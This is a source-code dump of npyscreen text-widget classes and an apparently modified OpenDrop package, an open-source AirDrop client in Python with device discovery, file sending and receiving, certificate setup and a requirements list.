8 | _entry_type = textbox.Textfield
9 |
10 | def __init__(self, screen,
11 | begin_entry_at = 16,
12 | field_width = None,
13 | value = None,
14 | use_two_lines = None,
15 | hidden=False,
16 | labelColor='LABEL',
17 | allow_override_begin_entry_at=True,
18 | **keywords):
19 |
20 | self.text_field_begin_at = begin_entry_at
21 | self.field_width_request = field_width
22 | self.labelColor = labelColor
23 | self.allow_override_begin_entry_at = allow_override_begin_entry_at
24 | super(TitleText, self).__init__(screen, **keywords)
25 |
26 | if self.name is None: self.name = 'NoName'
27 |
28 | if use_two_lines is None:
29 | if len(self.name)+2 >= begin_entry_at:
30 | self.use_two_lines = True
31 | else:
32 | self.use_two_lines = False
33 | else:
34 | self.use_two_lines = use_two_lines
35 |
36 | self._passon = keywords.copy()
37 | for dangerous in ('relx', 'rely','value',):# 'width','max_width'):
38 | try:
39 | self._passon.pop(dangerous)
40 | except:
41 | pass
42 |
43 | if self.field_width_request:
44 | self._passon['width'] = self.field_width_request
45 | else:
46 | if 'max_width' in self._passon.keys():
47 | if self._passon['max_width'] > 0:
48 | if self._passon['max_width'] < self.text_field_begin_at:
49 | raise ValueError("The maximum width specified is less than the text_field_begin_at value.")
50 | else:
51 | self._passon['max_width'] -= self.text_field_begin_at+1
52 |
53 | if 'width' in self._passon:
54 | #if 0 < self._passon['width'] < self.text_field_begin_at:
55 | # raise ValueError("The maximum width specified %s is less than the text_field_begin_at value %s." % (self._passon['width'], self.text_field_begin_at))
56 | if self._passon['width'] > 0:
57 | self._passon['width'] -= self.text_field_begin_at+1
58 |
59 | if self.use_two_lines:
60 | if 'max_height' in self._passon and self._passon['max_height']:
61 | if self._passon['max_height'] == 1:
62 | raise ValueError("I don't know how to resolve this: max_height == 1 but widget using 2 lines.")
63 | self._passon['max_height'] -= 1
64 | if 'height' in self._passon and self._passon['height']:
65 | raise ValueError("I don't know how to resolve this: height == 1 but widget using 2 lines.")
66 | self._passon['height'] -= 1
67 |
68 |
69 | self.make_contained_widgets()
70 | self.set_value(value)
71 | self.hidden = hidden
72 |
73 |
74 |
75 | def resize(self):
76 | super(TitleText, self).resize()
77 | self.label_widget.relx = self.relx
78 | self.label_widget.rely = self.rely
79 | self.entry_widget.relx = self.relx + self.text_field_begin_at
80 | self.entry_widget.rely = self.rely + self._contained_rely_offset
81 | self.label_widget._resize()
82 | self.entry_widget._resize()
83 | self.recalculate_size()
84 |
85 | def make_contained_widgets(self):
86 | self.label_widget = textbox.Textfield(self.parent, relx=self.relx, rely=self.rely, width=len(self.name)+1, value=self.name, color=self.labelColor)
87 | if self.label_widget.on_last_line and self.use_two_lines:
88 | # we're in trouble here.
89 | if len(self.name) > 12:
90 | ab_label = 12
91 | else:
92 | ab_label = len(self.name)
93 | self.use_two_lines = False
94 | self.label_widget = textbox.Textfield(self.parent, relx=self.relx, rely=self.rely, width=ab_label+1, value=self.name)
95 | if self.allow_override_begin_entry_at:
96 | self.text_field_begin_at = ab_label + 1
97 | if self.use_two_lines:
98 | self._contained_rely_offset = 1
99 | else:
100 | self._contained_rely_offset = 0
101 |
102 | self.entry_widget = self.__class__._entry_type(self.parent,
103 | relx=(self.relx + self.text_field_begin_at),
104 | rely=(self.rely+self._contained_rely_offset), value = self.value,
105 | **self._passon)
106 | self.entry_widget.parent_widget = weakref.proxy(self)
107 | self.recalculate_size()
108 |
109 |
110 | def recalculate_size(self):
111 | self.height = self.entry_widget.height
112 | if self.use_two_lines: self.height += 1
113 | else: pass
114 | self.width = self.entry_widget.width + self.text_field_begin_at
115 |
116 | def edit(self):
117 | self.editing=True
118 | self.display()
119 | self.entry_widget.edit()
120 | #self.value = self.textarea.value
121 | self.how_exited = self.entry_widget.how_exited
122 | self.editing=False
123 | self.display()
124 |
125 | def update(self, clear = True):
126 | if clear: self.clear()
127 | if self.hidden: return False
128 | if self.editing:
129 | self.label_widget.show_bold = True
130 | self.label_widget.color = 'LABELBOLD'
131 | else:
132 | self.label_widget.show_bold = False
133 | self.label_widget.color = self.labelColor
134 | self.label_widget.update()
135 | self.entry_widget.update()
136 |
137 | def handle_mouse_event(self, mouse_event):
138 | if self.entry_widget.intersted_in_mouse_event(mouse_event):
139 | self.entry_widget.handle_mouse_event(mouse_event)
140 |
141 | def get_value(self):
142 | if hasattr(self, 'entry_widget'):
143 | return self.entry_widget.value
144 | elif hasattr(self, '__tmp_value'):
145 | return self.__tmp_value
146 | else:
147 | return None
148 | def set_value(self, value):
149 | if hasattr(self, 'entry_widget'):
150 | self.entry_widget.value = value
151 | else:
152 | # probably trying to set the value before the textarea is initialised
153 | self.__tmp_value = value
154 | def del_value(self):
155 | del self.entry_widget.value
156 | value = property(get_value, set_value, del_value)
157 |
158 | @property
159 | def editable(self):
160 | try:
161 | return self.entry_widget.editable
162 | except AttributeError:
163 | return self._editable
164 |
165 | @editable.setter
166 | def editable(self, value):
167 | self._editable = value
168 | try:
169 | self.entry_widget.editable = value
170 | except AttributeError:
171 | self._editable = value
172 |
173 | def add_handlers(self, handler_dictionary):
174 | """
175 | Pass handlers to entry_widget
176 | """
177 | self.entry_widget.add_handlers(handler_dictionary)
178 |
179 | class TitleFixedText(TitleText):
180 | _entry_type = textbox.FixedText
181 |
--------------------------------------------------------------------------------
/npyscreen/wgwidget_proto.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | class _LinePrinter(object):
4 | """A base class for printing lines to the screen.
5 | Do not use directly. For internal use only.
6 | Experimental.
7 | """
8 | def find_width_of_char(self, ch):
9 | # will eventually need changing.
10 | return 1
11 |
12 | def _print_unicode_char(self, ch, force_ascii=None):
13 | if hasattr(self, '_force_ascii') and force_ascii is None:
14 | force_ascii = self._force_ascii
15 | # return the ch to print. For python 3 this is just ch
16 | if force_ascii:
17 | return ch.encode('ascii', 'replace')
18 | elif sys.version_info[0] >= 3:
19 | return ch
20 | else:
21 | return ch.encode('utf-8', 'replace')
22 |
23 | def add_line(self, realy, realx,
24 | unicode_string,
25 | attributes_list, max_columns,
26 | force_ascii=False):
27 | if isinstance(unicode_string, bytes):
28 | raise ValueError("This class prints unicode strings only.")
29 |
30 | if len(unicode_string) != len(attributes_list):
31 | raise ValueError("Must supply an attribute for every character.")
32 |
33 | column = 0
34 | place_in_string = 0
35 |
36 | if hasattr(self, 'curses_pad'):
37 | # we are a form
38 | print_on = self.curses_pad
39 | else:
40 | # we are a widget
41 | print_on = self.parent.curses_pad
42 |
43 |
44 | while column <= (max_columns-1):
45 | try:
46 | width_of_char_to_print = self.find_width_of_char(unicode_string[place_in_string])
47 | except IndexError:
48 | break
49 | if column - 1 + width_of_char_to_print > max_columns:
50 | break
51 | try:
52 | print_on.addstr(realy,realx+column,
53 | self._print_unicode_char(unicode_string[place_in_string]),
54 | attributes_list[place_in_string]
55 | )
56 | except IndexError:
57 | break
58 | column += width_of_char_to_print
59 | place_in_string += 1
60 |
61 | def make_attributes_list(self, unicode_string, attribute):
62 | """A convenience function. Retuns a list the length of the unicode_string
63 | provided, with each entry of the list containing a copy of attribute."""
64 | if isinstance(unicode_string, bytes):
65 | raise ValueError("This class is intended for unicode strings only.")
66 |
67 | atb_array = []
68 | ln = len(unicode_string)
69 | for x in range(ln):
70 | atb_array.append(attribute)
71 | return atb_array
--------------------------------------------------------------------------------
/opendrop2/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | OpenDrop: an open source AirDrop implementation
3 | Copyright (C) 2018 Milan Stute
4 | Copyright (C) 2018 Alexander Heinrich
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | """
19 |
20 | import logging
21 |
22 | __version__ = '0.10'
23 |
24 | logger = logging.getLogger(__name__)
25 |
--------------------------------------------------------------------------------
/opendrop2/__main__.py:
--------------------------------------------------------------------------------
1 | """
2 | OpenDrop: an open source AirDrop implementation
3 | Copyright (C) 2018 Milan Stute
4 | Copyright (C) 2018 Alexander Heinrich
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | """
19 |
20 | from opendrop import cli
21 |
22 | cli.main()
23 |
--------------------------------------------------------------------------------
/opendrop2/certs/apple_root_ca.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIEuzCCA6OgAwIBAgIBAjANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQGEwJVUzET
3 | MBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlv
4 | biBBdXRob3JpdHkxFjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwHhcNMDYwNDI1MjE0
5 | MDM2WhcNMzUwMjA5MjE0MDM2WjBiMQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBw
6 | bGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkx
7 | FjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
8 | ggEKAoIBAQDkkakJH5HbHkdQ6wXtXnmELes2oldMVeyLGYne+Uts9QerIjAC6Bg+
9 | +FAJ039BqJj50cpmnCRrEdCju+QbKsMflZ56DKRHi1vUFjczy8QPTc4UadHJGXL1
10 | XQ7Vf1+b8iUDulWPTV0N8WQ1IxVLFVkds5T39pyez1C6wVhQZ48ItCD3y6wsIG9w
11 | tj8BMIy3Q88PnT3zK0koGsj+zrW5DtleHNbLPbU6rfQPDgCSC7EhFi501TwN22IW
12 | q6NxkkdTVcGvL0Gz+PvjcM3mo0xFfh9Ma1CWQYnEdGILEINBhzOKgbEwWOxaBDKM
13 | aLOPHd5lc/9nXmW8Sdh2nzMUZaF3lMktAgMBAAGjggF6MIIBdjAOBgNVHQ8BAf8E
14 | BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUK9BpR5R2Cf70a40uQKb3
15 | R01/CF4wHwYDVR0jBBgwFoAUK9BpR5R2Cf70a40uQKb3R01/CF4wggERBgNVHSAE
16 | ggEIMIIBBDCCAQAGCSqGSIb3Y2QFATCB8jAqBggrBgEFBQcCARYeaHR0cHM6Ly93
17 | d3cuYXBwbGUuY29tL2FwcGxlY2EvMIHDBggrBgEFBQcCAjCBthqBs1JlbGlhbmNl
18 | IG9uIHRoaXMgY2VydGlmaWNhdGUgYnkgYW55IHBhcnR5IGFzc3VtZXMgYWNjZXB0
19 | YW5jZSBvZiB0aGUgdGhlbiBhcHBsaWNhYmxlIHN0YW5kYXJkIHRlcm1zIGFuZCBj
20 | b25kaXRpb25zIG9mIHVzZSwgY2VydGlmaWNhdGUgcG9saWN5IGFuZCBjZXJ0aWZp
21 | Y2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMA0GCSqGSIb3DQEBBQUAA4IBAQBc
22 | NplMLXi37Yyb3PN3m/J20ncwT8EfhYOFG5k9RzfyqZtAjizUsZAS2L70c5vu0mQP
23 | y3lPNNiiPvl4/2vIB+x9OYOLUyDTOMSxv5pPCmv/K/xZpwUJfBdAVhEedNO3iyM7
24 | R6PVbyTi69G3cN8PReEnyvFteO3ntRcXqNx+IjXKJdXZD9Zr1KIkIxH3oayPc4Fg
25 | xhtbCS+SsvhESPBgOJ4V9T0mZyCKM2r3DYLP3uujL/lTaltkwGMzd/c6ByxW69oP
26 | IQ7aunMZT7XZNn/Bh1XZp5m5MkL72NVxnn6hUrcbvZNCJBIqxw8dtk2cXmPIS4AX
27 | UKqK1drk/NAJBzewdXUh
28 | -----END CERTIFICATE-----
29 |
--------------------------------------------------------------------------------
/opendrop2/cli.py:
--------------------------------------------------------------------------------
1 | """
2 | OpenDrop: an open source AirDrop implementation
3 | Copyright (C) 2018 Milan Stute
4 | Copyright (C) 2018 Alexander Heinrich
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | """
19 |
20 | import time
21 |
22 | import ipaddress
23 | import logging
24 | import argparse
25 | import sys
26 | import json
27 | import os
28 | import threading
29 |
30 | from .client import AirDropBrowser, AirDropClient
31 | from .config import AirDropConfig, AirDropReceiverFlags
32 | from .server import AirDropServer
33 |
34 | logger = logging.getLogger(__name__)
35 |
36 |
37 | devices=[]
38 |
39 | def main():
40 | AirDropCli(sys.argv[1:])
41 |
42 |
43 | class AirDropCli:
44 |
45 | def __init__(self, args):
46 | parser = argparse.ArgumentParser()
47 | parser.add_argument('action', choices=['receive', 'find', 'send'])
48 | parser.add_argument('-f', '--file', help='File to be sent')
49 | parser.add_argument('-r', '--receiver', help='Peer to send file to (can be index, ID, or hostname)')
50 | parser.add_argument('-e', '--email', nargs='*', help='User\'s email addresses (currently unused)')
51 | parser.add_argument('-p', '--phone', nargs='*', help='User\'s phone numbers (currently unused)')
52 | parser.add_argument('-l', '--legacy', help='Enable legacy mode', action='store_true')
53 | parser.add_argument('-d', '--debug', help='Enable debug mode', action='store_true')
54 | parser.add_argument('-i', '--interface', help='Which AWDL interface to use', default='awdl0')
55 | args = parser.parse_args(args)
56 |
57 | if args.debug:
58 | logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)-8s %(name)s: %(message)s')
59 | else:
60 | logging.basicConfig(level=logging.NOTSET, format='%(message)s')
61 | logging.disable(sys.maxsize)
62 |
63 | # TODO put emails and phone in canonical form (lower case, no '+' sign, etc.)
64 |
65 | self.config = AirDropConfig(email=args.email, phone=args.phone, legacy=args.legacy,
66 | debug=args.debug, interface=args.interface)
67 | self.server = None
68 | self.client = None
69 | self.browser = None
70 | self.sending_started = False
71 | self.discover = []
72 | self.lock = threading.Lock()
73 |
74 | try:
75 | if args.action == 'receive':
76 | self.receive()
77 | elif args.action == 'find':
78 | self.find()
79 | else: # args.action == 'send'
80 | if args.file is None:
81 | parser.error('Need -f,--file when using send')
82 | if not os.path.isfile(args.file):
83 | parser.error('File in -f,--file not found')
84 | self.file = args.file
85 | if args.receiver is None:
86 | parser.error('Need -r,--receiver when using send')
87 | self.receiver = args.receiver
88 | self.send()
89 | except KeyboardInterrupt:
90 | if self.browser is not None:
91 | self.browser.stop()
92 | if self.server is not None:
93 | self.server.stop()
94 |
95 | def find(self):
96 | logger.info('Looking for receivers. Press enter to stop ...')
97 | self.browser = AirDropBrowser(self.config)
98 | self.browser.start(callback_add=self._found_receiver)
99 | # try:
100 | # # input()
101 | # while 1:
102 | # a=1
103 | # except KeyboardInterrupt:
104 | # pass
105 | # finally:
106 | # self.browser.stop()
107 | # logger.debug('Save discovery results to {}'.format(self.config.discovery_report))
108 | # with open(self.config.discovery_report, 'w') as f:
109 | # json.dump(self.discover, f)
110 |
111 | def _found_receiver(self, info):
112 | thread = threading.Thread(target=self._send_discover, args=(info,))
113 | thread.start()
114 |
115 | def _send_discover(self, info):
116 | global devices
117 | try:
118 | address = ipaddress.ip_address(info.address).compressed
119 | except ValueError:
120 | return # not a valid address
121 | id = info.name.split('.')[0]
122 | hostname = info.server
123 | port = int(info.port)
124 | logger.debug('AirDrop service found: {}, {}:{}, ID {}'.format(hostname, address, port, id))
125 | client = AirDropClient(self.config, (address, int(port)))
126 | flags = int(info.properties[b'flags'])
127 |
128 | if flags & AirDropReceiverFlags.SUPPORTS_DISCOVER_MAYBE:
129 | try:
130 | reponse = client.send_discover()
131 | receiver_name =reponse.get('ReceiverComputerName')
132 | ReceiverMediaCapabilities = json.loads(reponse['ReceiverMediaCapabilities'])
133 | os_info = "{} ({})".format('.'.join(map(str, ReceiverMediaCapabilities['Vendor']['com.apple']['OSVersion'])), ReceiverMediaCapabilities['Vendor']['com.apple']['OSBuildVersion'])
134 | except TimeoutError:
135 | pass
136 | else:
137 | receiver_name = None
138 | discoverable = receiver_name is not None
139 |
140 | index = len(self.discover)
141 | node_info = {
142 | 'name': receiver_name,
143 | 'address': address,
144 | 'host': hostname,
145 | 'port': port,
146 | 'id': id,
147 | 'flags': flags,
148 | 'discoverable': discoverable,
149 | 'os': os_info,
150 | }
151 | self.lock.acquire()
152 | self.discover.append(node_info)
153 | if discoverable:
154 | logger.info('Found index {} ID {} name {}'.format(index, id, receiver_name))
155 | # print (node_info)
156 | devices = self.discover
157 | self.lock.release()
158 |
159 | def receive(self):
160 | self.server = AirDropServer(self.config)
161 | self.server.start_service()
162 | self.server.start_server()
163 |
164 | def send(self):
165 | info = self._get_receiver_info()
166 | if info is None:
167 | return
168 | self.client = AirDropClient(self.config, (info['address'], info['port']))
169 | logger.info('Asking receiver to accept ...')
170 | if not self.client.send_ask(self.file):
171 | logger.warning('Receiver declined')
172 | return
173 | logger.info('Receiver accepted')
174 | logger.info('Uploading file ...')
175 | if not self.client.send_upload(self.file):
176 | logger.warning('Uploading has failed')
177 | return
178 | logger.info('Uploading has been successful')
179 |
180 | def _get_receiver_info(self):
181 | if not os.path.exists(self.config.discovery_report):
182 | logger.error('No discovery report exists, please run \'opendrop find\' first')
183 | return None
184 | age = time.time() - os.path.getmtime(self.config.discovery_report)
185 | if age > 60: # warn if report is older than a minute
186 | logger.warning('Old discovery report (%.1f seconds), consider running \'opendrop find\' again', age)
187 | with open(self.config.discovery_report, 'r') as f:
188 | infos = json.load(f)
189 |
190 | # (1) try 'index'
191 | try:
192 | self.receiver = int(self.receiver)
193 | return infos[self.receiver]
194 | except ValueError:
195 | pass
196 | except IndexError:
197 | pass
198 | # (2) try 'id'
199 | if len(self.receiver) is 12:
200 | for info in infos:
201 | if info['id'] == self.receiver:
202 | return info
203 | # (3) try hostname
204 | for info in infos:
205 | if info['name'] == self.receiver:
206 | return info
207 | # (fail)
208 | logger.error('Receiver does not exist (check -r,--receiver format or try \'opendrop find\' again')
209 | return None
210 |
211 | def get_devices():
212 | return devices
213 |
--------------------------------------------------------------------------------
/opendrop2/config.py:
--------------------------------------------------------------------------------
1 | """
2 | OpenDrop: an open source AirDrop implementation
3 | Copyright (C) 2018 Milan Stute
4 | Copyright (C) 2018 Alexander Heinrich
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | """
19 |
20 | import os
21 | import logging
22 | from pkg_resources import resource_filename
23 | import socket
24 | import ssl
25 | import random
26 | import subprocess
27 |
28 | logger = logging.getLogger(__name__)
29 |
30 |
31 | class AirDropReceiverFlags:
32 | """
33 | Recovered from sharingd`receiverSupportsX methods.
34 | A valid node needs to either have SUPPORTS_PIPELINING or SUPPORTS_MIXED_TYPES
35 | according to sharingd`[SDBonjourBrowser removeInvalidNodes:].
36 | """
37 | SUPPORTS_URL = 0x01
38 | SUPPORTS_DVZIP = 0x02
39 | SUPPORTS_PIPELINING = 0x04
40 | SUPPORTS_MIXED_TYPES = 0x08
41 | SUPPORTS_UNKNOWN1 = 0x10
42 | SUPPORTS_UNKNOWN2 = 0x20
43 | SUPPORTS_IRIS = 0x40
44 | SUPPORTS_DISCOVER_MAYBE = 0x80 # Probably indicates that server supports /Discover URL
45 |
46 |
47 | class AirDropConfig:
48 |
49 | def __init__(self, host_name=None, computer_name=None, computer_model='OpenDrop', server_port=8771,
50 | airdrop_dir='~/.opendrop', service_id=None,
51 | email=None, phone=None, legacy=False, debug=False, interface=None):
52 | self.airdrop_dir = os.path.expanduser(airdrop_dir)
53 |
54 | self.discovery_report = os.path.join(self.airdrop_dir, 'discover.last.json')
55 | # computer_name='000977-08-2fa172e0-cfa7-49a8-b607-b9389ba894b6'
56 | if host_name is None:
57 | host_name = socket.gethostname()
58 | self.host_name = host_name
59 | if computer_name is None:
60 | computer_name = host_name
61 | self.computer_name = computer_name
62 | self.computer_model = computer_model
63 | self.port = server_port
64 |
65 | if service_id is None:
66 | service_id = '{0:0{1}x}'.format(random.randint(0, 0xffffffffffff), 12) # random 6-byte string in base16
67 | self.service_id = service_id
68 |
69 | self.debug = debug
70 | self.debug_dir = os.path.join(self.airdrop_dir, 'debug')
71 |
72 | self.legacy = legacy
73 |
74 | if interface is None:
75 | interface = 'awdl0' if not self.legacy else 'en0'
76 | self.interface = interface
77 |
78 | if email is None:
79 | email = []
80 | self.email = email
81 | if phone is None:
82 | phone = []
83 | self.phone = phone
84 |
85 | # Bare minimum, we currently do not support anything else
86 | self.flags = AirDropReceiverFlags.SUPPORTS_MIXED_TYPES | AirDropReceiverFlags.SUPPORTS_DISCOVER_MAYBE
87 |
88 | self.root_ca_file = resource_filename('opendrop2', 'certs/apple_root_ca.pem')
89 | if not os.path.exists(self.root_ca_file):
90 | raise FileNotFoundError('Need Apple root CA certificate: {}'.format(self.root_ca_file))
91 |
92 | self.key_dir = os.path.join(self.airdrop_dir, 'keys')
93 | self.cert_file = os.path.join(self.key_dir, 'certificate.pem')
94 | self.key_file = os.path.join(self.key_dir, 'key.pem')
95 |
96 | if not os.path.exists(self.cert_file) or not os.path.exists(self.key_file):
97 | logger.info('Key file or certificate does not exist')
98 | self.create_default_key()
99 |
100 | # TODO extract record data from a sample exchange
101 | self.record_data = None
102 |
103 | def create_default_key(self):
104 | logger.info('Create new self-signed certificate in {}'.format(self.key_dir))
105 | if not os.path.exists(self.key_dir):
106 | os.makedirs(self.key_dir)
107 | subprocess.run(['openssl', 'req', '-newkey', 'rsa:2048', '-nodes', '-keyout', 'key.pem',
108 | '-x509', '-days', '365', '-out', 'certificate.pem',
109 | '-subj', '/CN={}'.format(self.computer_name)], cwd=self.key_dir,
110 | stdout=subprocess.PIPE, stderr=subprocess.PIPE)
111 |
112 | def get_ssl_context(self):
113 | sslctxt = ssl.SSLContext()
114 | sslctxt.load_cert_chain(self.cert_file, keyfile=self.key_file)
115 | sslctxt.load_verify_locations(cafile=self.root_ca_file)
116 | sslctxt.verify_mode = ssl.CERT_NONE # we accept self-signed certificates as does Apple
117 | return sslctxt
118 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | bs4
2 | fleep
3 | Pillow
4 | pybluez
5 | requests
6 | pycrypto
7 | netifaces
8 | prettytable
9 | libarchive-c
10 | ctypescrypto
--------------------------------------------------------------------------------